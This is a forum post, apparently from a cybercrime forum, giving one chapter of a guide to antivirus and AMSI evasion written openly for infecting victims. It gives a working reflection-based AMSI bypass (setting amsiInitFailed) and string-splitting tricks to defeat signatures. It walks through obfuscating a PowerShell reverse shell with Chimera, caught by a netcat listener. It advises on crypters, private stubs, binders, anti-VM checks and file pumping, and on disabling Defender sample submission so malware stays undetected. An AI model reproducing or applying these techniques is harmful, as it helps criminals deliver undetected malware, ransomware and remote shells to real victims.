# Funshine's Tale of a RAT Ch.5 Evasion (1)
Chapter 5 EVASION This chapter will discuss AV evasion and go into detail about the techniques used to get around Anti-Virus, AMSI, and other things working against you. You should be aware I'm not go

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode Funshine's Tale of a RAT Ch.5 Evasion

Omien
hello
Posts:
88
Threads:
15
Joined:
Apr 2023
Reputation:
31
Credits: 6.79€ [Donate]
#1
05-01-2023, 10:51 AM
Chapter 5 EVASION
This chapter will discuss AV evasion and go into detail about the techniques used to get around Anti-Virus, AMSI, and other things working against you. You should be aware I'm not going to provide exact examples of how to bypass EVERYTHING but the goal is to provide you the knowledge so you have the ability/skills to create a bypass on your own. It's best to be self-sufficient! Nothing is %100 and sometimes evading AV can be tricky and frustrating but once you understand what's required to bypass AV you'll have the ability to tweak everything suited to your needs. When you understand how AV works and know how malicious pieces of code get detected it should make it easier for you to bypass AV with your juicy piece of malware and/or scripts.
I think many people can relate to coding their own piece of malware, purchasing the latest and greatest cyber weapon, or using modern day C&C frameworks only to find out all of them are already flagged by AV. Fuck! In fact, most people that enter the hacking/cybercriminal scene today will find that most of the common payloads/tools available out there are already detected by AV. This hinders your efforts in learning more about the tool/payload and/or infecting people with it. This is no good. Since most of these tools are open source you'll be able to modify the code as you see fit until you're able to bypass AV or pull all of your hair out from your whole body in pure frustrations.
Since we know how AV works we're able to tinker around with the payload/tool a little bit so we can make it FUD and use it within our cybercriminal operations.
In this chapter we're going to go over some topics on how to make something FUD which will give you the knowledge needed to tweak the C&C frameworks/tools and other pieces of code on your own. Remember, C&C frameworks are excellent tools to be used post exploitation!
We're going to focus on what's realistic for our cybercriminal level and hone our skills around that.
In my opinion there are two types of cybercriminals out there. Those who can code and those who cannot.
Even those who have the ability to code something on their own will find it's much easier to purchase the right piece of malware needed for the job these days then to spend the amount of time needed to properly code your own piece of malware. I mean let's face it there are some awesome pieces of malware being used out there in the wild that you can purchase with ease these days. But anyways...
First and foremost the easiest way to get around AV is to:
[*]Code your own malware
[*]Know how to code so you're able to re-code leaked malware source code to make it suit your own needs or create your own bypasses.
Easy right?
For those who aren't interested in learning a programming language or taking it to that level then you have few options available to you. If you fall into this category than you probably rely heavily on other malware developers to create and sell wicked pieces of malware along with keeping their malware product up to date ensuring it's FUD and that it functions as expected.
For people who can't or refuse to learn a programming language then you're using:
[*]Obfuscation
[*]Purchasing the malware you're after
[*]Crypters and Crypting Services
To make it clear. You're either learning a programming language, using obfuscation with known open source tools, purchasing malware, or you're using crypters or crypting services to keep everything FUD.
On that note let's talk about Obfuscation and Crypting.
Obfuscation
Obfuscation is a technique that makes text/strings within code unreadable and hard to understand by people/AV while still maintaining its overall function. Developers commonly use obfuscation techniques within their code to prevent their programs from being reverse engineered (RE) or pirated by other fuck faces. The objective of using obfuscation at our cybercriminal level is to bypass Anti-Virus, evade static code analyzers, and waste junior malware reverse analysts time and other losers who try to study our cybercriminal operations.
Obfuscation can consist of concealing characters, words, or strings using an algorithm that will decode the data whenever the code executes.
There are obfuscator tools that can convert simple source code while maintaining the original function of the program making it more difficult to read and understand for AV. Obfuscation may assist with getting around signature-based detection in some AV products. It's one of the techniques you can apply to any open source project or leaked malware source code to help bypass AV.
Obfuscation techniques can include:
[*]Substituting variables names.
[*]Substituting data types.
[*]Substituting function names.
[*]Inserting arbitrary comments into every line.
[*]Replacing comments with arbitrary data.
[*]Converting IP addresses to hexadecimal format.
[*]Substituting various string names.
[*]Back ticking strings where possible.
Let's take a look at how obfuscation can assist when trying to evade AV.
Go ahead and launch your Windows 10 VM and get it all set up for this chapter. Please make sure only "Real-time protection" is on for Windows Defender and that everything else relating to malware samples being sent back for analysis have been switched off. Let's do this now.
Disable Windows Defender Phone Home capabilities
In your Windows 10 VM go to the search bar within the taskbar and search for "Windows Security". Click on "Virus & Threat protection". Under "Virus & Threat protection settings" click on "Manage Settings" to be presented with the screen as seen in the screenshot below.
null
Now turn OFF all the settings that are related to the Cloud Protection and Automatic sample submission. Your Windows Defender settings should look just like mine as seen in the screenshot below.
By changing these setting we know that Window Defender is fully updated but is not sending samples back to the cloud for further analysis which means we can test our techniques on the latest WD updates without worrying AV is spying on our shit.
Now that we have our Windows 10 VM setup we can go ahead and go through basic examples on how to bypass signature based detection AV using string replacement techniques.
Don't stress out this is basic shit and you can follow along with ease.
In Windows command prompt type:
powershell
In the PowerShell console type:
amsiutils
Once you hit ENTER on your keyboard you'll notice that the "amsiutils" command is blocked because that string is flagged as malicious by AMSI and WD.
null
We know that Windows Defender and AMSI are using signature-based detection looking for specific strings, words, functions, etc. and when it finds a match it will flag it as malicious preventing that command from being executed. So the string "amsiutils" on its own is no good. The "amsiutils" command is deemed malicious by being matched within the malware signatures list. Got it? Should make some sense yes?
So what happens if we break the string up into something different but still keep the original command intact? Will AMSI still pick it up as malicious if we fuck around with the characters in "amsiutils"?
Let's find out.
In the PowerShell console type:
"am"+"si"+"utils"
As you can see in the screenshot above the command executed without issues and is simply being reflected back to you without AMSI picking it up as malicious. Hmmmm OK right? It's the same string as "amsiutils" but we've added some characters and concatenated the string which gets around AMSI strictly looking for the string "amsiutils". If we break up the word it appears fine to AMSI even though it's executing the command that was just deemed malicious. How silly. This is one of the many ways on how you can bypass AV simply by replacing specific strings within your code, open-source frameworks, leaked source code for XYZ malware, etc.
Let's take a look at another example.
In the PowerShell console type:
Invoke-Mimikatz
As you can see in the screenshot below AMSI and Windows Defender have determined that the command you're trying to run is associated with malicious content and is blocked. If you haven't heard of Mimikatz now is a good time to Google it.
null
As expected that syntax will be flagged as malicious and will not echo back to you in the PowerShell console. Using the same technique above can you get the command to bypass AMSI and get it echoed back to you? Again, we know that the string itself is being flagged as malicious but what happens when we break it up just like when I used the "amsiutils" example above?
See if you're able to do it on your own using what you just learned before reading the answer below.
Answer:
In the powershell console type:
"Invo"+"ke-Mim"+"ikatz"
or anything similar to get it echoed back to you
You should be able to see that the command is reflected back to you with the PowerShell console. It appears AMSI and WD are OK with it now. Simply by replacing or reorganizing the strings/words when trying to get around AMSI or WD can and does work. This technique is important to know since most of the publicly available C&C frameworks and/or tools get detected off the shelf but since it's all open source you can go through the code and change things accordingly to get past AV if you're capable of doing so. This can be a tedious task and time consuming but effective. Well, it was very time consuming for me because I wasn't the greatest programmer but some might find that it comes to them more natural.
Obfuscation may seem easy at first but once you start going through everything you will find it's not as easy as you think and does take time in perfecting everything to get around AV. Don't give up though! Remember, to keep pushing forward as this shit doesn't happen overnight and keep in mind we all have a limit to our technical abilities and everything might not be possible.
Let's take another look at how to bypass string detection.
Using the same example of "amsiutils" we'll use a different method by splitting the word in half, use base64 encoding, and then decode the base64 string to accomplish the same task of echoing the word "amsituils" back to us within the PS console.
In the powershell console type:
$File = "amsi"+"utils"
[Convert]::ToBase64String([Text.encoding]::UTF8.GetBytes($File))
[Convert]::FromBase64String["YW1zaXV0aWxz"]
[Text.Encoding]::UTF8.GetString()[Convert]::FromBase64String("YW1zaXV0aWxz"))
I know that looks like a lot of mumble jumbo initially but what those commands are doing is grabbing "amsi"+"utils" and base64 encoding it and decoding it back into the PowerShell console. As you can imagine there are limitless possibilities of accomplishing the same task at hand and I highly recommend learning as much as you can about PowerShell so you're comfortable using it.
It's just not about using obfuscation and some fuckery with the code that gets past AMSI but there are other methods out there as well.
Now to a more intermediate level of using obfuscation.
Another technique being used in the wild is throwing an Error to AMSI which will prevent it from initializing a scan on that specific script. When AMSI receives an error it will fail to initialize resulting in AMSI not initiating a scan for that process. Some other methods include avoiding the direct use of strings by using variables to evade AMSI too.
The Powershell code below flips the switch on an attribute for PowerShell's AMSI integration (amsiInitFailed attribute to be exact) to "True". This causes the current PowerShell process to throw an error to AMSI resulting in AMSI to stop requesting scans which then can lead to any malicious PowerShell scripts being executed without triggering AMSI.
Press "ENTER" after each command before typing the next!
In the Powershell console type:
"Invoke-Mimikatz"
$p = 'System.Management.Automation.A';$r = 's'+'i';$s = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $p,$r,$s))
$field = $assembly.GetField(('am{0}InitFailed' -f $r),'NonPublic,Static')
$field.SetValue($null,$true)
"Invoke-Mimikatz"
Some other obfuscation methods are a little more involved and can be down right mind blowing at times when looking at the obfuscated output trying to figure out what the fuck is WAT. Thankfully, there are many tools and techniques already out there that we can leverage and use for our own needs without having to go through the whole code changing shit here and there.
Let's take a look at one of the many tools available out there to help with automating obfuscation.
The Chimera Obfuscation Tool
https://github.com/tokyoneon/Chimera
Chimera is a PowerShell obfuscation script designed to bypass AMSI and other AV products by taking malicious PowerShell scripts known to trigger AV and using string substitutions and variable concatenations to evade detection signatures resulting in the PowerShell script to be FUD.
Let's take a look at how Chimera works.
In your Kali VM in Terminal type:
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/
cd /opt/chimera/
sudo chmod +x chimera.sh
cd shells
cp shells shells-backup
sed -i 's/192.168.56.101/<YOUR-Kali-IP-ADDRESS>/g' shells/*.ps1
ls
After typing "ls" you'll see a bunch of PowerShell scripts in the directory that are currently detected by AMSI/WD as of the release date of this course but we're going to make them bypass AV any ways. First you need to download "Invoke-PowerShellTcp.ps1" onto your Windows VM computer. There are many ways to accomplish this but "python3 -m http.server 9000" is quick and easy.
Follow along to make it simple.
In your Kali VM in Terminal type:
cd /opt/chimera/shells
python3 -m http.server 9000
Now let's hop onto our Windows VM.
Load up Windows Edge in your Windows 10 VM and type into the URL "http://YOUR-KALI-IP-ADDRESS:9000/" and you should get the same screen as me seen in the screenshot below.
null
Try to download Invoke-PowerShellTcp.ps1. When you do Windows SmartScreen will prompt you with a warning. Click on "keep" to see Windows Defender flag it as seen in the screenshot below.
null
OK now we know WD detects all those files for sure and that PowerShell script is no good right out of the box yes? Let's use the Chimera obfuscation tool to demonstrate how easy it can be to get around such problems.
Let's get back onto our Kali VM.
In a NEW Terminal in Kali VM type:
cd /opt/chimera/
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o Tits.ps1 -g -v -t -j -i -c -h -s -b -e
The syntax used for Chimera meanings:
[*]-f: The input file.
[*]-o: The output file.
[*]-g: Omit several Nishang-specific characteristics from the script.
[*]-v: Substitute variables names.
[*]-t: Substitute data types.
[*]-j: Substitute function names.
[*]-i: Insert arbitrary comments into every line.
[*]-c: Replace comments with arbitrary data.
[*]-h: Convert IP addresses to hexadecimal format.
[*]-s: Substitute various strings.
[*]-b: Backtick strings where possible.
[*]-e: Examine the obfuscated file when the process is complete.
nc -v -l -p 4444
nc -v -l -p 4444 will open up a netcat listening on your Kali VM waiting for a connection from your Windows VM.
Now back onto to your Windows VM again.
Reload Microsoft Edge on your "http://YOUR-KALI-IP-ADDRESS:9000/" and download Tits.ps1. You should now see it downloaded without flagging Windows Defender and is saved on your computer.
In command prompt on Windows 10 VM type:
cd Downloads
Assuming you downloaded Tits.ps1 to your Downloads folder.
powershell -ep bypass -file ./Tits.ps1
Once you ran that command you should notice a shell in your Kali VM. Hooray obfuscation works!
Obfuscation is an important skill to have either by knowing how to do it yourself or at least knowing what tools can be used to accomplish the task at hand. Stay on top of things and the current tools used by other known hacking groups! There are a lot of useful PowerShell scripts out there that are already detected by AV but can be easily modified with automated tools or obfuscated manually to bypass AV.
It's up to you to put in the work needed to learn how to develop your own obfuscation methods to bypass AV if you plan on re-using other people's work you find on GitHub or downloading leaked malware source code from some forum. For those coding their own pieces of malware obfuscation is still an important skill to have and know. Learn it!
There's no magic Obfuscation sauce here but keep these in mind when trying to bypass AV:
-- Substitute variables names.
-- Substitute data types.
-- Substitute function names.
-- Insert random comments into every line.
-- Replace comments with random data.
-- Convert IP addresses to hexadecimal format.
-- Substitute various string names.
-- It's trial and error until the task is completed.
You can use automated tools but it all depends on how far you want. I suggest you learn what you're interested in to help understand everything and continue to push forward.
As always....TAKE IT TO THE LIMIT!.
Crypting
At first I always relied on other people to crypt my malware to keep it Fully Un-Detectable (FUD) so I could focus on other things like taking over the world and so on. I'm not special by any means. In fact, I'm just like many of you reading this who had an interest in malware and making kazillions of dollars by infecting 9 million computers creating my own botnet. When learning something new you must start somewhere and if you put enough time into reading as much information as you can get your hands on with the sole purpose of advancing your knowledge you will succeed. You might not be an expert at it but you'll defiantely be way better than you were before. This is how we all improve.
Right?
I'm sure as shit no expert nor am I some sort of computer fucking wizard genius but I've put in the time needed by reading, studying, and practicing the shit I've learned over the years while staying on point with learning everything simply for the sole purpose of making money. Putting all the information I've gathered into good use as quick as possible. This is how I became successful and this is how you will too.
PUT IN THE WORK! That's the secret sauce.
Put in the time and don't think all of this will happen overnight and in time it'll come together. Slowly but surely you'll be operating at a level that is bringing in income and relying only on yourself.
You have to put the effort in and take action on what you're learning to be successful. Don't wait and let life pass you by.
We're going to discuss the use of crypters and some basic things you should be aware of when purchasing/using crypters when deploying malware across the Internets.
A crypter is used for the sole purpose of by-passing Anti-Virus (AV) detection and executing your malware on a target computer. There are some differences in the crypting world that you should know about when selecting a crypting service/developer and that is Runtime and Scantime crypters.
Types of Crypters
Scantime Crypter
A lot of crypters these days just offer scantime crypting services which is not good if you're using off the shelf malware. This type of crypter works by crypting the file before it gets executed but does not keep it crypted after the victim has run the file. So, at first, the malware will be able to execute but once it's decrypted on disk AV will be able to analyze the file using signature or heuristics based detection flagging it. That doesn't help much if we're using some old ass RAT that AV already has sooooooo many signatures for right?
You can crypt the shit out of it but once it's decrypted and sitting on the HD for the AV to gobble up it will prevent the malware from functioning properly resulting in getting the process killed. If you've used Metasploit in the past or you've used another RAT can you think of a time you've had a victim launch your file, you're able to get a connect back to your C&C initially only to find out the connection gets dropped shortly after? This is probably what's happening on the other end. Your RAT is crypted which bypasses AV initially but once it's executed it's sitting on the HD being vulnerable to AV scanning and gets killed by the AV.
Scantime = FUD at the time AV scans the file but not after it's executed which is fine for brand new malware but not really the greatest for crypting commonly known off the shelf malware.
Runtime Crypter
A Runtime crypter is exactly what is sounds like by the means of keeping the file encrypted throughout the whole run process. It crypts the contents of a file and then decrypts the file into memory before executing the file which is beneficial as most AVs are unable to analyze or detect the file before or after it is executed since it's encrypted through and through. Most are executed in memory and not on disk. Ideally you want a crypter that is capable of this!
Basic Crypter Terms
There are some terms you'll want to be familiar with when selecting the right crypter for the malware you plan on spreading. There are some crypters listed in the The Armory but you may come across other ones along your journey that may be of interest to you. You'll notice these common terms when shopping around for a crypter or when using an online crypting service so you should be well versed in these terms to help you make a better decision whether to purchase that product or not.
End of File (EOF)
This is usually offered as an option that is used to preserve the end of file data so the malware/file can run without any corruption issues. If this is an option when using a crypter it's best to preserve the end of file data to ensure you don't end of corrupting the actual data of the malware you're trying to encrypt.
Stubs
A crypter takes the contents of your RAT, ransomware, etc. and encrypts the contents placing the encrypted contents at the bottom of a file known as a "stub". This stub file is the workhorse that extracts the encrypted data from itself, decrypts it (usually in memory), and executes your malware/file on the computer in question. The stub file's sole purpose is to carry out the decryption process of your encrypted file/malware in memory and ultimately execute the file.
Below is a crude example of how a stub works. Picture the whole thing as one file with the "stub" being the bottom end and the encrypted malware being the rest.
null
Crypters always want the size of their stubs and malware to be the smallest possible as this will help the stub go un-noticed if the size of the input and output data are only within a few bytes difference.
This stub file is where most problems occur from a crypters perspective since once that stub is detected by an AV every other file that is encrypted with that stub will also be detected. The stub file is what's actually being injected which is why you'll notice some crypting services offering stub replacements because most likely they have sold the same stub to multiple people and one of those buyers went on a spree and got the stub detected. This would result in everyone using that crypting service getting their shit detected as well especially if everyone is using the same stub. Make sense?
If possible, you should purchase a private stub with stub replacements if the crypter seller offers such a thing which is a must in my opinion. It might cost more to receive this feature but this is the cost of doing business. Private stub at minimum for professional OK?
Alright now let's talk about the cold hard facts when using crypters that most aren't going to want to hear. Over time all crypters, whether that be private or public, will eventually become detected if used on a piece of malware. Remember, the crypter and stub are coded in a way that can have a signature for it that AV can pick up on thus every file that is encrypted with that specific crypter will get detected. This has to do with all those fuck faces uploading samples to VirusTotal and similar bullshit websites but also has to do with AV companies creating signatures based on other known crypters or malware seen in the wild.
What the fuck do I mean? Some crypters or pieces of malware will use a certain set of APIs in Windows that are being used in various ways that are related and interact with other certain parts of code. AV may have a signature based on something similar which will pick up on your FUD crypter and thus detecting it and everything crypted by it.
A stub file will only be unique for a period of time until AV updates and detects it, eventually. There is no guarantee one crypting method will last forever as everything gets detected eventually so you should move quick and fast when running malware campaigns against others in the wild. Don't purchase shit and let it sit for a month not using it. Purchase the items when everything is aligned right and the timing is perfect. Remember that!
The best way to keep your malware FUD is to code/re-code it yourself which means you'll need to up your game at some point and learn some programming languages. If not you're relying on malware developers/sellers to keep their product up to date and active. These sellers come and go so you'll have a short window to work within so move with haste!
Binders
A binder is a program that binds a file with another file and puts together (2) files into one file. This can be beneficial since a victim would see one file (safeFILE.exe) without seeing your malware included in the back end of that file. When safeFILE.exe is executed your malware is also ran with it. Usually people tend to use a crypter/binder combination to help with evasion but should be used with a legitimate program and malware.
A lot of people ask if they're able to bind "malware.exe" with "porno.avi" in order to make it appear as the file the victim is opening is just a video file. The simple answer is YES you can do this BUT the output of both files will be shown as an executable on the computer so AV will pick up on this up as malicious, obviously, so it's best not to do such a thing.
My advice is if you're going to use binders then just ensure you're binding malware.exe with whatever_file.exe to keep it simple. Only bind an executable to another executable is the take away point if you plan on using binders.
Anti-VM, Anti-Debugger, Anti-etc..
These "anti" terms you see that are related to crypting are methods used to stop the malware from being executed in a Virtual Machine (VM) and prevent, or at least slow down, other debuggers used by malware analysts to pull apart your malware. Usually, if a file is being ran in a VM then it's to be assumed it's being analyzed somehow and this is something you want to avoid.
Once it's determined the malware is in a VM environment it was kill itself and prevent itself from being executed so that whomever is analyzing the malware will have difficulties in doing so.
Some malware developers use methods to detect if there is a VM in use. Here's a super simple example. If you're running Ubuntu, Kali, or any other *nix machine in a VM you can use the following commands to detect VM use.
Open up Terminal and type:
top | grep 'vm'
OR
ps aux | grep 'vm'
If you have a Windows machine running in a VM then use the following commands to detect VM usage.
Open up the command prompt and type:
TASKLIST /F VM
OR
Systeminfo | findstr /i model
If you ran those then you would clearly see that those operating systems are operating in a virtualized environment with one simple command. This is just one of MANY techniques used by malware developers in determining if the malware is operating in a virtualized environment and if it detects that it is it will act accordingly to avoid being executed.
There are basic ways to detect VM usage but some other APTs operating out there use much more sophisticated methods to detect a VM. There are many ways to accomplish this.
Click here to read - TrickBot Anti-VM techniques
File Pumpers
These types of programs/options will increase the size of an executable which can be beneficial in bypassing most AVs out there. Modern day AVs will ignore larger sized files simply because of the processing power required to go through them and that most pieces of malware are not big in size. Back in the day everyone wanted to keep their malware as small as possible due to download speeds, poor connections, etc. but now and days most people/organizations have a proper Internet connection and can download larger files with ease.
I mean how long does it really take to download a file that is 100mb in size these days? Not long at all whereas using a 56k modem back in the day it wasn't an option but we can assume most of the people you'll be targeting have proper Internet, for the most part.
AV companies don't want to hog all your computer processing time and slow everything the fuck down. That would be bad for business. Everyone would be annoyed at that so if you pump up your malware size to something larger some AV will abandon the scan on that particular file to keep things humming along smoothly. How long would you put up with an AV product if it was stalling out when you're trying to launch a file?
Now this is the part for those who want to test their malware or newly purchase cyber weapon against an AV to determine if it's FUD before launching your campaign against others.
Determining if your malware is FUD
The best way for anyone to determine if the malware they're using is FUD is to create a brand new Windows VM, update everything on it, and disable the Windows Defender (WD) options that send potential "harmful" files back to Microsoft servers. We don't want our malware already being detected before we deliver it to other people because that's not helping anyone.
The options specifically you want to turn off are "Cloud-Delivered Protection" and "Automatic Sample Submission". If you're using a different AV product than research the equivalent or whitelist a directory where your malware will be.
For obvious reasons we don't want to be handing over our malware to any AV company before we go on a cybercrime spree because all that would do is get our malware detected before we send it to our target(s) ruining all of the fun. I'm sure many of you have already heard of some companies offering the ability to upload malware to their website to determine if that file is detected by 52+ different AV products. At first glance you're thinking "FUCK YEAH!" I can send my malware to this website and it will spit out a report on which AV products detect my malware and then I can tweak it accordingly, rinse, and repeat.
We've already talked about this but I'm going to hammer the point home.
The reality is these websites are usually snakes in the fucking grass and share information on those uploads which in turn update AV products and detect your shit. It's foolish to think companies such as VirusTotal and the like do not distribute this information. In fact that's their business model.
We already talked about VirusTotal right?
null
This is why when you're looking at purchasing malware or a crypter most malware developers will tell you not to upload the file to any of those online services such as VirusTotal. By doing so you're giving away that piece of malware to be pulled apart, signatures made for it, and detected by AV. Most malware developers don't want to sell their products to people who don't know what the fuck they're doing because of this exact reason. It means more re-coding of the malware, re-crypting, and on and on which becomes annoying for any developer to constantly be tweaking their product over and over.
Let's take a look at yet another example demonstrating why this is important.
You've just purchased some ransomware from a reputable vendor as did about (10) other people around the same time. One of those people that purchased the same ransomware has uploaded it to VirusTotal to make sure it's FUD and shortly after that the piece of malware you've purchased is somehow magically detected even before you got a chance to use it. Well holy shit! WTF happened?! This vendor scammed me arggghhhhhhh. Classic right?
You don't want to upload any malware to an online service as this is exactly one of the ways people get their shit detected by distributing it to other AV products.
Reminder, if you're developing your own malware or testing out your newly crypted peice of malware make sure you have turned off your AV or Windows Defender settings so it's not analyzing that file and submitting a sample back to the lab for analysis. We've already discussed this but it's important to remember.
Don't be a part of the problem.
PM Rate
Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

Possibly Related Threads…
Thread | Author | Replies | Views | Last Post
| Funshine's The Tale of a RAT Ch.1 | Omien | 4 | 304 | 05-28-2023, 12:57 PM Last Post: DeSnake
| Funshine's Tail of a RAT Ch. 6-7 Malware Delivery | Omien | 0 | 189 | 05-01-2023, 11:08 AM Last Post: Omien
| Funshine's Tail of a RAT Ch.4 RATS | Omien | 0 | 167 | 05-01-2023, 10:42 AM Last Post: Omien
| Funshine's Tail of a RAT Ch.3 C&C | Omien | 0 | 192 | 05-01-2023, 10:28 AM Last Post: Omien
| Funshine's Tail of a RAT Ch.2 | Omien | 0 | 213 | 05-01-2023, 10:07 AM Last Post: Omien

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }